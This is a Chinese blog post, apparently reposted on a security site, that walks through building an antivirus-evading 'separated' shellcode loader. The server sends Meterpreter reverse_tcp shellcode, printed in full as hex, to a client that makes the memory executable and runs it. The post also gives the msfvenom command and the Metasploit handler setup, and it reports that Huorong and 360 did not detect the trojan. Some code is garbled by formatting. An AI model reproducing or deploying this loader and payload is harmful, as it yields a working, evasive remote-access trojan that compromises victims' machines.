分离免杀loader编写

admin 2022年4月16日01:58:20分离免杀loader编写已关闭评论75 views字数 9985阅读33分17秒阅读模式

0x0前言

大致思路是:客户端通过socket去链接服务器,服务器收到链接,向客户端发送shellcode,客户端接收并加载执行shellcode,这样做的好处是在代码中并没有shellcode存在,静态免杀能力应该不错。

环境配置:

服务端:kali

客户端:win10

编译器:visual studio2022


0x1生成shellcode

我们使用msfvenom工具生成shellcode,-p参数是payload类型,这里用的是反向链接的payload,也就是客户端去链接服务器, -b参数是在生成的shellcode中不要出现哪些16进制的字符,lhost是回连的ip这里写kali的就可以,lport是回连的端口,-f参数是生成的类型,这里是c格式。

```
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' lhost=192.168.1.15 lport=6666 -f c

```

分离免杀loader编写

0x2服务端代码解析

```

include //导入库

include

pragma comment (lib, "ws2_32.lib")//使用这个静态链接库 ,最后还是会调用ws2_32.dll

int main()
{
char buf[] =
"\xb8\xf0\x65\x9a\x93\xdb\xcc\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x59\x31\x43\x14\x03\x43\x14\x83\xc3\x04\x12\x90\x66\x7b\x5d"
"\x5b\x97\x7c\x01\x6d\x45\x18\x4a\xdf\x59\x68\xa9\x6b\xcb\x66"
"\xba\x3e\xf8\xfd\xce\x96\x0f\xb5\x64\xc1\x3e\x46\x49\xcd\xed"
"\x84\xc8\xb1\xef\xd8\x2a\x8b\x3f\x2d\x2b\xcc\x89\x5b\xc4\x80"
"\x5e\x2f\x48\x35\xea\x6d\x50\x34\x3c\xfa\xe8\x4e\x39\x3d\x9c"
"\xe2\x40\x6e\xd7\xa3\x62\x8f\x34\xd8\x2b\x97\xea\x5a\x62\xd3"
"\x36\x54\x8a\x55\xcd\xa2\xff\x67\x07\xfb\x3f\xa6\x68\xf1\x13"
"\x28\xb1\x32\x8c\x5e\xc9\x40\x31\x59\x0a\x3a\xed\xec\x8c\x9c"
"\x66\x56\x68\x1c\xaa\x01\xfb\x12\x07\x45\xa3\x36\x96\x8a\xd8"
"\x43\x13\x2d\x0e\xc2\x67\x0a\x8a\x8e\x3c\x33\x8b\x6a\x92\x4c"
"\xcb\xd3\x4b\xe9\x80\xf6\x9a\x8d\x69\x09\xa3\xd3\xfd\xc5\x6e"
"\xec\xfd\x41\xf8\x9f\xcf\xce\x52\x08\x63\x86\x7c\xcf\xf2\x80"
"\x7e\x1f\xbc\xc1\x80\xa0\xbc\xc8\x46\xf4\xec\x62\x6e\x75\x67"
"\x73\x8f\xa0\x1d\x79\x07\x8b\x49\x7c\xd8\x63\x8b\x7f\xfc\x79"
"\x02\x99\x50\x2e\x44\x36\x11\x9e\x24\xe6\xf9\xf4\xab\xd9\x1a"
"\xf7\x66\x72\xb0\x18\xde\x2a\x2d\x80\x7b\xa0\xcc\x4d\x56\xcc"
"\xcf\xc6\x52\x30\x81\x2e\x17\x22\xf6\x48\xd7\xba\x07\xfd\xd7"
"\xd0\x03\x57\x80\x4c\x0e\x8e\xe6\xd2\xf1\xe5\x75\x14\x0d\x78"
"\x4f\x6e\x38\xee\xef\x18\x45\xfe\xef\xd8\x13\x94\xef\xb0\xc3"
"\xcc\xbc\xa5\x0b\xd9\xd1\x75\x9e\xe2\x83\x2a\x09\x8b\x29\x14"
"\x7d\x14\xd2\x73\xfd\x53\x2c\x01\x2a\xfc\x44\xf9\x6a\xfc\x94"
"\x93\x6a\xac\xfc\x68\x44\x43\xcc\x91\x4f\x0c\x44\x1b\x1e\xfe"
"\xf5\x1c\x0b\x5e\xab\x1d\xb8\x7b\x5c\x67\xb1\x7c\x9d\x98\xdb"
"\x18\x9e\x98\xe3\x1e\xa3\x4e\xda\x54\xe2\x52\x59\x66\x51\xf6"
"\xc8\xed\x99\xa4\x0b\x24";
WSADATA Data;//定义一个结构体变量用来存储WSAStartup函数调用后返回的数据
WSAStartup(MAKEWORD(2, 2), &Data);//第一个参数是设置socket的版本是2.2第二个参数是把返回的数据存储到这个结构体里面
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN sock_info = { 0 };
sock_info.sin_family = AF_INET;
sock_info.sin_port = htons(6666);
sock_info.sin_addr.S_un.S_addr = inet_addr("192.168.1.6");
bind(sock, (SOCKADDR)&sock_info, sizeof(sockaddr_in));
listen(sock, 2);
SOCKADDR_IN sock_info2 = { 0 };
int Size = sizeof(SOCKADDR_IN);
SOCKET MsgSock=accept(sock, (SOCKADDR
)&sock_info2, &Size);
send(MsgSock, buf, sizeof(buf), 0);
closesocket(MsgSock);
closesocket(sock);
WSACleanup();
getchar();
}
```


这里用来接受shellcode的数组是的有符号类型,其实用有符号或者无符号都无所谓,在内存里都是一样的。

char buf[]

来看第二行代码,WSADATA是定义一个结构体,这个结构体用来接收WSAStartup函数返回的数据,WSAStartup函数大致意思是启动网络库,它的第一个参数是指定socket的版本这里是2.2,第二个参数是一个指针类型的参数,意思是返回的数据放到哪里。

WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);

socket函数第一个参数是地址族,也就是ip地址的类型这里AF_INET代表ipv4,第二个参数是SOCK_STREAM代表使用TCP协议,第三个参数意思是要指定的协议,如果是0就选择第二个参数默认的协议

SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);

socket函数原型

```

SOCKET PASCAL FAR socket (
In int af,
In int type,
In int protocol);
```

SOCKADDR_IN sock_info = { 0 };定义一个结构体用来存储socket相关信息,如绑定的ip,监听的端口等信息,这里就先初始化位0,后面在赋值。

SOCKADDR_IN结构体定义如下

struct sockaddr_in {
short sin_family;//地址族
u_short sin_port;//端口
struct in_addr sin_addr;//ip
char sin_zero[8];//没有实际作用,为字节对齐的
};

前三行代码主要是给sock_info这个结构体的成员赋值。

sock_info.sin_family = AF_INET;代表使用的地址族,这里的AF_INET代表使用ipv4地址和上面的socket函数第一个参数一样即可。

sock_info.sin_port = htons(6666);代表要监听的端口,htons意思是将主机字节序转换成网络字节序,就是将高位字节放到内存中低地址处。

sock_info.sin_addr.S_un.S_addr = inet_addr("192.168.1.6");本地主机的ip,inet_addr代表将ip地址转换为一个整数值。

bind函数大概意思是绑定一个socket,第一个参数是要绑定哪一个socket这里是socket,第二个参数是指向SOCKADDR结构体的指针,第三个参数是结构体的大小,上面几行代码的意思是创建一个结构体用来存储socket的信息,给结构体的成员赋值,并绑定这个socket,为下面监听和收发数据做准备。

bind(sock, (SOCKADDR*)&sock_info, sizeof(sockaddr_in));

listen(sock, 2);开始监听,第一个参数是监听哪一个socket,第二个参数是连接队列的最大长度,比如说系统只处理2个链接,这时如果有10个用户同时建立链接,那么系统只处理两个链接剩下的八个创建一个队列记录这些现在无法处理的请求,以后在处理。

SOCKADDR_IN sock_info2 = { 0 };也是定义一个SOCKADDR_IN类型的结构体,但是这个结构体是用来收发数据和客户端交互的,上面的那个结构体是用来和客户端建立连接的。

int Size = sizeof(SOCKADDR_IN);定义一个int型变量来接受sizeof函数的返回值,得到SOCKADDR_IN这个结构体的大小

SOCKET MsgSock=accept(sock, (SOCKADDR*)&sock_info2, &Size);新建一个socket用来接收Accept函数返回的数据,Accept函数第一个参数是用来客户端链接的socket,第二个参数是指向SOCKADDR结构体的指针,第三个参数是第二个参数的大小,因为这个参数是指针类型所以要加取地址符。

send(MsgSock, buf, sizeof(buf), 0);send发送数据,第一个参数是accept函数返回的socket,用来和客户端交互,第二个参数是要发什么东西,第三个参数是发多大的东西,第四个参数一般填0即可,大致意思通过MsgSock这个socket把我们的shellcode发送给客户端。

closesocket关闭一个socket,WSACleanup停止使用Ws2_32.dll。

closesocket(MsgSock);
closesocket(sock);
WSACleanup();

到了这里服务端代码已经解析完毕了,主要流程就是

建立一个socket连接,新建一个SOCKADDR_IN类型的结构体用来存储socket相关的信息,绑定一个socket,开始监听socket,再定义一个SOCKADDR_IN类型的结构体,用来存储客户端信息,准备与客户端交互,向客户端发送数据,关闭socket。

0x3客户端代码解析

int main()
{
WSADATA Data;
WSAStartup(MAKEWORD(2, 2), &Data);
SOCKET sock=socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN sock_info = { 0 };
sock_info.sin_family = AF_INET;
sock_info.sin_port = htons(6666);
sock_info.sin_addr.S_un.S_addr = inet_addr("192.168.1.6");
connect(sock, (SOCKADDR*)&sock_info, sizeof(SOCKADDR_IN));
char buffer[400] = { 0 };
recv(sock, buffer, sizeof(buffer), 0);
char* ptr = (char*)malloc(sizeof(buffer));
memset(ptr, 0, sizeof(buffer));
memcpy(ptr, buffer, sizeof(buffer));
DWORD i = 0;
VirtualProtect(ptr, sizeof(buffer), PAGE_EXECUTE_READWRITE, &i);
((char(*)())ptr)();
return 0;
}

上面说过的代码就不再赘述了,就是指定socket版本,创建socket,定义一个SOCKADDR_IN类型结构体,用来存储ip,端口等信息,我们来看下面这几行代码。

connect(sock, (SOCKADDR*)&sock_info, sizeof(SOCKADDR_IN));函数作用是通过socket与服务器建立一个链接,第一个参数是上面新建的socket,第二个参数指向一个结构体,就是SOCKADDR_IN类型的结构体,结构体里面存储了要链接的服务器ip,端口,等信息,第三个参数是SOCKADDR_IN结构体的大小。

char buffer[400]={0};这里定义一个有符号类型的数据并初始化为0。

recv(sock, buffer, sizeof(buffer), 0);用来接收服务器发送的数据,第一个参数是刚才新建的socket,我们通过它来和服务器通信,第二个参数是接收的数据放到哪里,第三个参数是接收多大的数据,最后一个参数一般设置为0。

char* ptr = (char*)malloc(sizeof(buffer));定义一个指针来指向malloc函数分配内存的起始地址,第一个参数是要分配多大的内存。

memset(ptr, 0, sizeof(buffer));该函数主要作用是把刚才申请的内存块全部用0填充,第一个参数是从哪里开始填,是一个指针类型,第二个参数是用什么填充,第三个参数是填充多大。

memcpy(ptr, buffer, sizeof(buffer));函数主要作用是把数组中的shellcode复制到内存里,第一个参数是复制到哪里,第二个参数是从哪里赋值,第三个参数是复制多少字节。

至此,接收shellcode并复制到内存中的工作已经完成,如果直接函数指针执行肯定是不行的,但是因为是malloc的内存并没有执行权限,所以要先用VirtualProtect函数把内存块的权限改为可执行。

DWORD i = 0;
VirtualProtect(ptr, sizeof(buffer), PAGE_EXECUTE_READWRITE, &i);
((char(*)())ptr)();

DWORD i=0定义一个DWORD类型的变量作为VirtualProtect函数的参数。

VirtualProtect(ptr, sizeof(buffer), PAGE_EXECUTE_READWRITE, &i);作用是更改一块内存的权限,第一个参数是从哪里开始修改,第二个参数是修个多大的内存,第三个参数是要修改成什么权限这里是可读可写可执行,最后一个参数是把内存改变之前的属性付给这块内存,也就是把内存原来的权限复制到i这块的内存上。

((char(*)())ptr)();是一个char类型的函数指针,来执行这块内存,函数指针其实就是一个指向函数的指针,可以通过这个指针来调用我们的函数。

0x4效果测试

现在kali里面设置好监听,在visual studio生成木马。

```

msf6 exploit(multi/handler) > set lhost 192.168.1.15//设置shellcode回连的ip
lhost => 192.168.1.15
msf6 exploit(multi/handler) > set lport 6666//设置监听端口
lport => 6666
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp//设置链接的payload

```

分离免杀loader编写

我们先生成客户端的代码,vs快捷键Ctrl+Shift+B即可生成,因为服务端与客户端的代码在同一个项目里,所以生成好客户端代码的需要把名字给改掉,避免生成服务端时时客户端被覆盖,然后把服务端代码注释掉再生成服务端。

分离免杀loader编写

生成服务端,因为生成客户端时已经将生成的exe名字改成了client,所以会有client.exe下面我们先运行server.exe开启监听等待客户端链接,在运行client.exe接收shellcode并执行shellcode。

分离免杀loader编写

先扫描一下,火绒和360并没有查出来,下面来执行下

分离免杀loader编写

可以看到并没有被检测出来,也是成功的bypass。

分离免杀loader编写

0x5结语

流程:服务端等待客户端链接->客户端去链接服务端->服务端向客户端发送数据->客户端接收服务端数据->修改内存属性->函数指针执行内存。

全部代码。

第一个main函数是服务端的代码,下面被注释掉的是客户端。再生成客户端时把服务端代码注释掉即可。

```

include //导入库

include

pragma comment (lib, "ws2_32.lib")//使用这个静态链接库 ,最后还是会调用ws2_32.dll

int main()
{
char buf[] =
"\xb8\xf0\x65\x9a\x93\xdb\xcc\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x59\x31\x43\x14\x03\x43\x14\x83\xc3\x04\x12\x90\x66\x7b\x5d"
"\x5b\x97\x7c\x01\x6d\x45\x18\x4a\xdf\x59\x68\xa9\x6b\xcb\x66"
"\xba\x3e\xf8\xfd\xce\x96\x0f\xb5\x64\xc1\x3e\x46\x49\xcd\xed"
"\x84\xc8\xb1\xef\xd8\x2a\x8b\x3f\x2d\x2b\xcc\x89\x5b\xc4\x80"
"\x5e\x2f\x48\x35\xea\x6d\x50\x34\x3c\xfa\xe8\x4e\x39\x3d\x9c"
"\xe2\x40\x6e\xd7\xa3\x62\x8f\x34\xd8\x2b\x97\xea\x5a\x62\xd3"
"\x36\x54\x8a\x55\xcd\xa2\xff\x67\x07\xfb\x3f\xa6\x68\xf1\x13"
"\x28\xb1\x32\x8c\x5e\xc9\x40\x31\x59\x0a\x3a\xed\xec\x8c\x9c"
"\x66\x56\x68\x1c\xaa\x01\xfb\x12\x07\x45\xa3\x36\x96\x8a\xd8"
"\x43\x13\x2d\x0e\xc2\x67\x0a\x8a\x8e\x3c\x33\x8b\x6a\x92\x4c"
"\xcb\xd3\x4b\xe9\x80\xf6\x9a\x8d\x69\x09\xa3\xd3\xfd\xc5\x6e"
"\xec\xfd\x41\xf8\x9f\xcf\xce\x52\x08\x63\x86\x7c\xcf\xf2\x80"
"\x7e\x1f\xbc\xc1\x80\xa0\xbc\xc8\x46\xf4\xec\x62\x6e\x75\x67"
"\x73\x8f\xa0\x1d\x79\x07\x8b\x49\x7c\xd8\x63\x8b\x7f\xfc\x79"
"\x02\x99\x50\x2e\x44\x36\x11\x9e\x24\xe6\xf9\xf4\xab\xd9\x1a"
"\xf7\x66\x72\xb0\x18\xde\x2a\x2d\x80\x7b\xa0\xcc\x4d\x56\xcc"
"\xcf\xc6\x52\x30\x81\x2e\x17\x22\xf6\x48\xd7\xba\x07\xfd\xd7"
"\xd0\x03\x57\x80\x4c\x0e\x8e\xe6\xd2\xf1\xe5\x75\x14\x0d\x78"
"\x4f\x6e\x38\xee\xef\x18\x45\xfe\xef\xd8\x13\x94\xef\xb0\xc3"
"\xcc\xbc\xa5\x0b\xd9\xd1\x75\x9e\xe2\x83\x2a\x09\x8b\x29\x14"
"\x7d\x14\xd2\x73\xfd\x53\x2c\x01\x2a\xfc\x44\xf9\x6a\xfc\x94"
"\x93\x6a\xac\xfc\x68\x44\x43\xcc\x91\x4f\x0c\x44\x1b\x1e\xfe"
"\xf5\x1c\x0b\x5e\xab\x1d\xb8\x7b\x5c\x67\xb1\x7c\x9d\x98\xdb"
"\x18\x9e\x98\xe3\x1e\xa3\x4e\xda\x54\xe2\x52\x59\x66\x51\xf6"
"\xc8\xed\x99\xa4\x0b\x24";
WSADATA wsaData;//定义一个结构体变量用来存储WSAStartup函数调用后返回的数据
WSAStartup(MAKEWORD(2, 2), &wsaData);//第一个参数是设置socket的版本是2.2第二个参数是把返回的数据存储到这个结构体里面
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN sock_info = { 0 };
sock_info.sin_family = AF_INET;
sock_info.sin_port = htons(6666);
sock_info.sin_addr.S_un.S_addr = inet_addr("192.168.1.6");
bind(sock, (SOCKADDR)&sock_info, sizeof(sockaddr_in));
listen(sock, 2);
SOCKADDR_IN sock_info2 = { 0 };
int Size = sizeof(SOCKADDR_IN);
SOCKET MsgSock=accept(sock, (SOCKADDR
)&sock_info2, &Size);
send(MsgSock, buf, sizeof(buf), 0);
closesocket(MsgSock);
closesocket(sock);
WSACleanup();
getchar();
}
//int main()
//{
// WSADATA Data;
// WSAStartup(MAKEWORD(2, 2), &Data);
// SOCKET sock=socket(AF_INET, SOCK_STREAM, 0);
// SOCKADDR_IN sock_info = { 0 };
// sock_info.sin_family = AF_INET;
// sock_info.sin_port = htons(6666);
// sock_info.sin_addr.S_un.S_addr = inet_addr("192.168.1.6");
// connect(sock, (SOCKADDR)&sock_info, sizeof(SOCKADDR_IN));
// char buffer[400] = { 0 };
// recv(sock, buffer, sizeof(buffer), 0);
// char
ptr = (char)malloc(sizeof(buffer));
// memset(ptr, 0, sizeof(buffer));
// memcpy(ptr, buffer, sizeof(buffer));
// DWORD i = 0;
// VirtualProtect(ptr, sizeof(buffer), PAGE_EXECUTE_READWRITE, &i);
// ((char(
)())ptr)();
// return 1;
//}
```

由于作者水平有限,文章如有错误欢迎指出。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月16日01:58:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分离免杀loader编写http://cn-sec.com/archives/916935.html